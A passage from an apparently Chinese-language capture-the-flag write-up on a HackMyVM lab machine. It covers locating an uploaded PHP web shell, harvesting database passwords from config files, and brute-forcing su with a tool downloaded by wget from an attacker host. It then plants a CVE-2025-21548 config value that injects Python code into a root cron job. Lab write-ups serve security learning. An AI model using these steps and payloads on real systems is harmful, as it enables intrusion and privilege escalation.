href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258220.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258220.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621013454701\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u53ef\u4ee5\u6b63\u5e38\u4e0a\u4f20 php \u6587\u4ef6\uff0c\u5c1d\u8bd5\u627e\u4e00\u4e0b\u5730\u5740\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258222.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258222.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621013551642\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u53d1\u73b0\u4e86\u4e00\u5904\u53c2\u6570\u4f20\u9012\uff0c\u770b\u4e0a\u53bb\u5c31\u662f\u54b1\u4eec\u7684\u53cd\u5f39shell\uff0c\u8bbf\u95ee\u770b\u770b\u662f\u5426\u53ef\u4ee5\u5f39\u56deshell\uff0c\u4f46\u662f\u5931\u8d25\u4e86\u3002\u3002\u3002\u3002\u3002<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258223.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258223.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621013712561\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u53ea\u80fd\u8bfb\u53d6\uff0c\u4e0d\u80fd\u6267\u884c\uff0c\u4e4b\u524d\u4fe1\u606f\u641c\u96c6\u7684\u65f6\u5019\u9047\u5230\u4e86\uff1a<\/p>\n<pre><code class=\"language-bash\">\/images               (Status: 301) [Size: 323] [--&gt; http:\/\/dark.disguise.hmv\/images\/]<\/code><\/pre>\n<p>\u731c\u6d4b\u6587\u4ef6\u53ef\u80fd\u91cd\u547d\u540d\u4e86\uff0c\u88ab\u653e\u5165\u4e86<code>\/image<\/code>\u6587\u4ef6\u5939\u4e0b\uff0c\u5c1d\u8bd5\u6784\u9020\u62a5\u9519\u89c2\u5bdf\u56de\u663e\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258224.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258224.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621014522853\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5c1d\u8bd5\u4fee\u6539\u654f\u611f\u6570\u636e\uff0c\u6bd4\u5982\u4ef7\u683c\uff0c\u6539\u6210\u7b26\u5408sql\u5b57\u7b26\u7684\u6df7\u4e71\uff0c\u6bd4\u5982\u52a0\u4e2a\u5355\u5f15\u53f7\u4e4b\u7c7b\u7684\uff0c\u6363\u4e71\u4f60\u61c2\u5427\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258225.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258225.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621014740654\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5f97\u5230\u6587\u4ef6\u5730\u5740\uff0c\u5c1d\u8bd5\u8bbf\u95ee\uff0c\u62ff\u5230shell\uff01\uff01\uff01\uff01<\/p>\n<pre><code class=\"language-bash\">http:\/\/dark.disguise.hmv\/images\/99e767ec86972d42e5eff8c47f616470.php<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258226.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258226.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621014849260\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u63d0\u6743<\/h2>\n<h3>su\u7206\u7834\u7528\u6237\u5f31\u5bc6\u7801<\/h3>\n<pre><code class=\"language-bash\">(remote) www-data@disguise:\/$ cat \/etc\/passwd | grep sh | cut -d: -f1\nroot\nsshd\ndarksoul\n(remote) www-data@disguise:\/$ ls -la \/home\ntotal 12\ndrwxr-xr-x  3 root     root     4096 Mar 31 11:19 .\ndrwxr-xr-x 18 root     root     4096 Mar 31 11:13 ..\ndrwxr-xr-x  4 darksoul darksoul 4096 Apr  2 04:19 darksoul\n(remote) www-data@disguise:\/$ cd ~\n(remote) www-data@disguise:\/var\/www$ ls -la\ntotal 16\ndrwxr-xr-x  4 root     root     4096 Mar 31 21:07 .\ndrwxr-xr-x 12 root     root     4096 Mar 31 11:33 ..\ndrwxr-xr-x  4 www-data www-data 4096 Apr  2 04:39 dark\ndrwxr-x---  5 www-data www-data 4096 Apr  2 05:33 html\n(remote) www-data@disguise:\/var\/www$ cd dark\n(remote) www-data@disguise:\/var\/www\/dark$ ls -la\ntotal 76\ndrwxr-xr-x 4 www-data www-data 4096 Apr  2 04:39 .\ndrwxr-xr-x 4 root     root     4096 Mar 31 21:07 ..\n-rw-r--r-- 1 root     root      905 Mar 31 23:01 captcha.php\n-rw-r--r-- 1 root     root       95 Apr  1 03:58 config.php\n-rw-r--r-- 1 root     root     1736 Apr  1 21:24 functions.php\n-rw-r--r-- 1 root     root      660 Apr  1 05:13 image_handler.php\ndrwxr-xr-x 2 www-data www-data 4096 Jun 20 13:47 images\n-rw-r--r-- 1 root     root     1225 Apr  1 05:16 index.php\n-rw-r--r-- 1 root     root     2088 Apr  1 04:14 login.php\n-rw-r--r-- 1 root     root      237 Mar 31 22:00 logout.php\ndrwxr-xr-x 2 root     root     4096 Apr  1 22:59 manager\n-rw-r--r-- 1 root     root     1142 Apr  1 21:29 profile.php\n-rw-r--r-- 1 root     root     4080 Apr  1 04:28 register.php\n-rw-r--r-- 1 root     root     4350 Mar 31 22:49 style1.css\n-rw-r--r-- 1 root     root     4474 Apr  1 03:40 style2.css\n-rw-r--r-- 1 root     root     2342 Apr  1 03:41 style3.css\n-rw-r--r-- 1 root     root     2801 Apr  1 04:43 style4.css\n(remote) www-data@disguise:\/var\/www\/dark$ cat config.php \n&lt;?php\n\n$DB_USER = &#039;dark_db_admin&#039;;\n$DB_PASS = &#039;Str0ngPassw0d1***&#039;;\n$DB_NAME = &#039;dark_shop&#039;;\n\n?&gt;<\/code><\/pre>\n<p>\u6570\u636e\u5e93\u5bc6\u7801\u906e\u4f4f\u4e86\u4e09\u4f4d<code>Str0ngPassw0d1***<\/code>\uff0c\u5c1d\u8bd5\u8fdb\u884c\u68c0\u7d22\u3002\u3002\u3002\u3002<\/p>\n<pre><code class=\"language-bash\">(remote) www-data@disguise:\/var\/www\/dark$ grep -Pnir &quot;Str0ngPassw0d1&quot; \/var\/ 2&gt;\/dev\/null\n\/var\/www\/dark\/config.php:4:$DB_PASS = &#039;Str0ngPassw0d1***&#039;;\n\/var\/www\/html\/wp-config.php:29:define( &#039;DB_PASSWORD&#039;, &#039;Str0ngPassw0d1!!!&#039; );\n(remote) www-data@disguise:\/var\/www\/dark$ grep -Pnir &quot;Str0ngPassw0d1&quot; \/home\/ 2&gt;\/dev\/null\n\/home\/darksoul\/config.ini:3:password = Str0ngPassw0d1***<\/code><\/pre>\n<p>\u5c1d\u8bd5\u5bc6\u7801\u8fdb\u884c\u767b\u5f55\uff0c\u4f46\u662f\u5931\u8d25\u4e86\uff0c\u5c1d\u8bd5\u4f7f\u7528\u811a\u672c\u521b\u5efa\u4e00\u4e2a\u5b57\u5178\uff0c\u7136\u540e\u4f7f\u7528\u76f8\u5173\u811a\u672c\u8fdb\u884c\u7206\u7834\uff0c\u8fd9\u91cc\u56e0\u4e3a\u6211\u770b\u4e86\u5e08\u5085\u4eec\u7684\u90e8\u5206wp\uff0c\u77e5\u9053\u4e86\u5bc6\u7801\uff0c\u6545\u4f7f\u7528\u7b80\u6d01\u811a\u672c\u8282\u7701\u65f6\u95f4\uff0c\u5426\u5219\u4f7f\u7528<code>suForce<\/code>\u9700\u8981\u7b49\u5f85\u8f83\u957f\u65f6\u95f4\u3002\u3002\u3002\u8fd9\u91cc\u53c2\u8003\u7fa4\u4e3b\u7684\u89e3\u51b3\u65b9\u6848\uff0c\u8db3\u591f\u4f18\u96c5\u548c\u7b80\u6d01\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Disguise]\n\u2514\u2500$ python                        \nPython 3.13.3 (main, Apr 10 2025, 21:38:51) [GCC 14.2.0] on linux\nType &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.\n>&gt;&gt; import string\n>&gt;&gt; for i in string.printable:\n...     print(i)\n...     \n0\n1\n2\n3\n4\n5\n6\n7\n8\n9\na\nb\nc\nd\ne\nf\ng\nh\ni\nj\nk\nl\nm\nn\no\np\nq\nr\ns\nt\nu\nv\nw\nx\ny\nz\nA\nB\nC\nD\nE\nF\nG\nH\nI\nJ\nK\nL\nM\nN\nO\nP\nQ\nR\nS\nT\nU\nV\nW\nX\nY\nZ\n!\n&quot;\n#\n$\n%\n&amp;\n&#039;\n(\n)\n*\n+\n,\n-\n.\n\/\n:\n;\n&lt;\n=\n>\n?\n@\n[\n\\\n]\n^\n_\n`\n{\n|\n}\n~<\/code><\/pre>\n<p>\u5c06\u5176\u590d\u5236\u5230\u9776\u673a\uff0c\u7136\u540e\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) www-data@disguise:\/tmp$ awk &#039;{print &quot;Str0ngPassw0d1&quot;$0$0$0}&#039; dic &gt; aaa<\/code><\/pre>\n<p>\u518d\u4e0b\u8f7d<code>suForce<\/code>\u5c1d\u8bd5\u8fdb\u884c\u7206\u7834\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258227.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258227.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621022501870\" style=\"zoom: 33%;\" \/><\/div><\/p>\n<pre><code class=\"language-bash\">(remote) www-data@disguise:\/tmp$ wget http:\/\/192.168.10.107:8888\/suForce\n--2025-06-20 14:21:57--  http:\/\/192.168.10.107:8888\/suForce\nConnecting to 192.168.10.107:8888... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 2430 (2.4K) [text\/plain]\nSaving to: &#039;suForce&#039;\n\nsuForce                                         100%[====================================================================================================&gt;]   2.37K  --.-KB\/s    in 0s      \n\n2025-06-20 14:21:57 (575 MB\/s) - &#039;suForce&#039; saved [2430\/2430]\n\n(remote) www-data@disguise:\/tmp$ chmod +x suForce\n(remote) www-data@disguise:\/tmp$ .\/suForce -u darksoul -w aaa\n            _____                          \n ___ _   _ |  ___|__  _ __ ___ ___   \n\/ __| | | || |_ \/ _ \\| &#039;__\/ __\/ _ \\ \n\\__ \\ |_| ||  _| (_) | | | (_|  __\/  \n|___\/\\__,_||_|  \\___\/|_|  \\___\\___|  \n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n code: d4t4s3c     version: v1.0.0\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ud83c\udfaf Username | darksoul\n\ud83d\udcd6 Wordlist | aaa\n\ud83d\udd0e Status   | 94\/94\/100%\/Str0ngPassw0d1~~~\n\u2757 Fuck!    | Password not found\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n(remote) www-data@disguise:\/tmp$ .\/suForce -u darksoul -w aaa\n            _____                          \n ___ _   _ |  ___|__  _ __ ___ ___   \n\/ __| | | || |_ \/ _ \\| &#039;__\/ __\/ _ \\ \n\\__ \\ |_| ||  _| (_) | | | (_|  __\/  \n|___\/\\__,_||_|  \\___\/|_|  \\___\\___|  \n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n code: d4t4s3c     version: v1.0.0\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ud83c\udfaf Username | darksoul\n\ud83d\udcd6 Wordlist | aaa\n\ud83d\udd0e Status   | 83\/94\/88%\/Str0ngPassw0d1???\n\ud83d\udca5 Password | Str0ngPassw0d1???\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<\/code><\/pre>\n<p>\u4e0d\u884c\u5c31\u591a\u8dd1\u51e0\u904d\uff1a<code>Str0ngPassw0d1???<\/code><\/p>\n<p>\u5c1d\u8bd5\u5207\u6362\u7528\u6237\u3002<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258228.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258228.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621022559001\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<h3>\u5b9a\u65f6\u4efb\u52a1<\/h3>\n<pre><code class=\"language-bash\">darksoul@disguise:\/tmp$ cd ~\ndarksoul@disguise:~$ ls -la\ntotal 40\ndrwxr-xr-x 4 darksoul darksoul 4096 Apr  2 04:19 .\ndrwxr-xr-x 3 root     root     4096 Mar 31 11:19 ..\nlrwxrwxrwx 1 root     root        9 Apr  2 00:16 .bash_history -&gt; \/dev\/null\n-rw-r--r-- 1 darksoul darksoul  220 Mar 31 11:19 .bash_logout\n-rw-r--r-- 1 darksoul darksoul 3526 Mar 31 11:19 .bashrc\n-rw-r--r-- 1 root     root      114 Apr  2 04:03 config.ini\n-rw-r--r-- 1 root     root       31 Jun 20 14:26 darkshopcount\ndrwx------ 3 darksoul darksoul 4096 Apr  1 10:03 .gnupg\ndrwxr-xr-x 3 darksoul darksoul 4096 Apr  1 10:04 .local\n-rw-r--r-- 1 darksoul darksoul  807 Mar 31 11:19 .profile\n-rw------- 1 darksoul darksoul   68 Apr  2 04:22 user.txt\ndarksoul@disguise:~$ cat user.txt \nGood good study &amp; Day day up,but where is the flag?\ndarksoul@disguise:~$ cat -A user.txt \nGood good study &amp; Day day up,but where is the flag?$\nhmv{hiddenflag}^Mdarksoul@disguise:~$ xxd user.txt \n00000000: 476f 6f64 2067 6f6f 6420 7374 7564 7920  Good good study \n00000010: 2620 4461 7920 6461 7920 7570 2c62 7574  &amp; Day day up,but\n00000020: 2077 6865 7265 2069 7320 7468 6520 666c   where is the fl\n00000030: 6167 3f0a 686d 767b 6869 6464 656e 666c  ag?.hmv{hiddenfl\n00000040: 6167 7d0d                                ag}.<\/code><\/pre>\n<p>\u5b9e\u9645\u4e0a\u662f\u8f93\u51fa\u4e86\uff0c\u4f46\u662f\u53c8\u88ab\u8986\u76d6\u4e86\uff0c\u6240\u4ee5\u6ca1\u770b\u5230\u3002<code>0d<\/code>\u4ee3\u8868\u56de\u8f66\u7b26\uff0c\u5149\u6807\u56de\u5230\u884c\u9996\uff0c\u7ee7\u7eed\u8f93\u51fa\u3002<\/p>\n<pre><code class=\"language-bash\">darksoul@disguise:~$ cat \/etc\/cron*\ncat: \/etc\/cron.d: Is a directory\ncat: \/etc\/cron.daily: Is a directory\ncat: \/etc\/cron.hourly: Is a directory\ncat: \/etc\/cron.monthly: Is a directory\n# \/etc\/crontab: system-wide crontab\n# Unlike any other crontab you don&#039;t have to run the `crontab&#039;\n# command to install the new version when you edit this file\n# and files in \/etc\/cron.d. These files also have username fields,\n# that none of the other crontabs do.\n\nSHELL=\/bin\/sh\nPATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/sbin:\/bin:\/usr\/sbin:\/usr\/bin\n\n# Example of job definition:\n# .---------------- minute (0 - 59)\n# |  .------------- hour (0 - 23)\n# |  |  .---------- day of month (1 - 31)\n# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...\n# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat\n# |  |  |  |  |\n# *  *  *  *  * user-name command to be executed\n17 *    * * *   root    cd \/ &amp;&amp; run-parts --report \/etc\/cron.hourly\n25 6    * * *   root    test -x \/usr\/sbin\/anacron || ( cd \/ &amp;&amp; run-parts --report \/etc\/cron.daily )\n47 6    * * 7   root    test -x \/usr\/sbin\/anacron || ( cd \/ &amp;&amp; run-parts --report \/etc\/cron.weekly )\n52 6    1 * *   root    test -x \/usr\/sbin\/anacron || ( cd \/ &amp;&amp; run-parts --report \/etc\/cron.monthly )\n#\ncat: \/etc\/cron.weekly: Is a directory\ndarksoul@disguise:~$ crontab -l\nno crontab for darksoul<\/code><\/pre>\n<p>\u4e0a\u4f20<code>pspy64<\/code>\u8fdb\u884c\u67e5\u770b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258229.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506210258229.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621023511323\" \/><\/div><\/p>\n<p>\u53d1\u73b0root\u5b9a\u65f6\u6267\u884c\u4efb\u52a1\uff0c\u67e5\u770b\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">darksoul@disguise:\/tmp$ ls -la \/opt\/query.py\n-rw-r--r-- 1 root root 870 Apr  1 09:56 \/opt\/query.py\ndarksoul@disguise:\/tmp$ cat \/opt\/query.py\nimport mysql.connector\nimport sys\n\ndef main():\n    if len(sys.argv) != 2:\n        print(&quot;Usage: python query.py &lt;configfile&gt;&quot;)\n        sys.exit(1)\n\n    cnf = sys.argv[1]\n\n    try:\n        conn = mysql.connector.connect(read_default_file=cnf)\n        cursor = conn.cursor()\n\n        query = &#039;SELECT COUNT(*) FROM users&#039;\n        cursor.execute(query)\n        results = cursor.fetchall()\n        print(f&quot;users count:{results[0][0]}&quot;)\n\n        query = &#039;SELECT COUNT(*) FROM products&#039;\n        cursor.execute(query)\n        results = cursor.fetchall()\n        print(f&quot;products count:{results[0][0]}&quot;)\n    except mysql.connector.Error as err:\n        print(f&quot;db connect error: {err}&quot;)\n    finally:\n        if &#039;cursor&#039; in locals():\n            cursor.close()\n        if &#039;conn&#039; in locals() and conn.is_connected():\n            conn.close()\n\nif __name__ == &quot;__main__&quot;:\n    main()\ndarksoul@disguise:\/tmp$ cat \/home\/darksoul\/config.ini\n[client]\nuser = dark_db_admin\npassword = Str0ngPassw0d1***\nhost = localhost\ndatabase = dark_shop\nport = int(3306)<\/code><\/pre>\n<p>\u914d\u7f6e\u6587\u4ef6\u5728\u5bb6\u76ee\u5f55\u4e0b\uff0c\u6beb\u65e0\u7591\u95ee\u53ef\u4ee5\u8fdb\u884c\u8bfb\u5199\uff0c\u4e0d\u884c\u7684\u8bdd\u5c31\u628a\u5b83\u5220\u6389\u91cd\u5efa\uff0c\u5c1d\u8bd5\u5229\u7528\u914d\u7f6e\u6587\u4ef6\u8fdb\u884c\u63d0\u6743\u3002\u3002\u3002<\/p>\n<p>\u53d1\u73b0\u5f15\u7528\u4e86\u4e00\u4e2apython\u7684\u5e93\uff0c\u770b\u4e00\u4e0b\u7248\u672c\uff0c\u662f\u5426\u5b58\u5728\u76f8\u5173\u7684\u6f0f\u6d1e\uff1a<\/p>\n<pre><code class=\"language-bash\">darksoul@disguise:\/tmp$ pip list\nPackage                Version\n---------------------- -------------\ncertifi                2018.8.24\nchardet                3.0.4\nhttplib2               0.11.3\nidna                   2.6\nmysql-connector-python 8.0.33\npip                    24.0\nprotobuf               3.20.3\npycurl                 7.43.0.2\nPySimpleSOAP           1.16.2\npython-apt             1.8.4.3\npython-debian          0.1.35\npython-debianbts       2.8.2\nreportbug              7.5.3+deb10u2\nrequests               2.21.0\nsetuptools             68.0.0\nsix                    1.12.0\nurllib3                1.24.1\nwheel                  0.42.0<\/code><\/pre>\n<h3>CVE-2025-21548<\/h3>\n<p>\u8fd9\u5229\u7528\u5230\u4e86\u4e00\u4e2acve\u6f0f\u6d1e\uff0c\u8be6\u60c5\u53ef\u4ee5\u53c2\u8003\uff1a<\/p>\n<ul>\n<li><a href=\"https:\/\/dev.mysql.com\/doc\/connector-python\/en\/connector-python-connectargs.html\">https:\/\/dev.mysql.com\/doc\/connector-python\/en\/connector-python-connectargs.html<\/a><\/li>\n<li><a href=\"https:\/\/mp.weixin.qq.com\/s?__biz=MzUzNDMyNjI3Mg==&amp;mid=2247487315&amp;idx=1&amp;sn=4a145deeb3c9c632593bb92f6a88d217&amp;poc_token=HMWrVWij15l_XHSHpC-0tgfekMW92f-IIleMzzxH\">https:\/\/mp.weixin.qq.com\/s?__biz=MzUzNDMyNjI3Mg==&mid=2247487315&idx=1&sn=4a145deeb3c9c632593bb92f6a88d217&poc_token=HMWrVWij15l_XHSHpC-0tgfekMW92f-IIleMzzxH<\/a><\/li>\n<\/ul>\n<pre><code class=\"language-bash\">[incorrect_config]\n\nuser=root\npassword=mypass\ndatabase=cpydata\nport=int(3306)\nallow_local_infile=__import__(&#039;os&#039;).system(&#039;calc&#039;)<\/code><\/pre>\n<p>\u5c1d\u8bd5\u5229\u7528\u8fdb\u884c\u63d0\u6743\uff1a<\/p>\n<pre><code class=\"language-bash\">darksoul@disguise:~$ cat config.ini \n[client]\nuser = dark_db_admin\npassword = Str0ngPassw0d1***\nhost = localhost\ndatabase = dark_shop\nport = int(3306)\ndarksoul@disguise:~$ mv config.ini config.ini.bak\ndarksoul@disguise:~$ vi config.ini\ndarksoul@disguise:~$ nano config.ini\ndarksoul@disguise:~$ ls -la \/bin\/bash\n-rwxr-xr-x 1 root root 1168776 Apr 18  2019 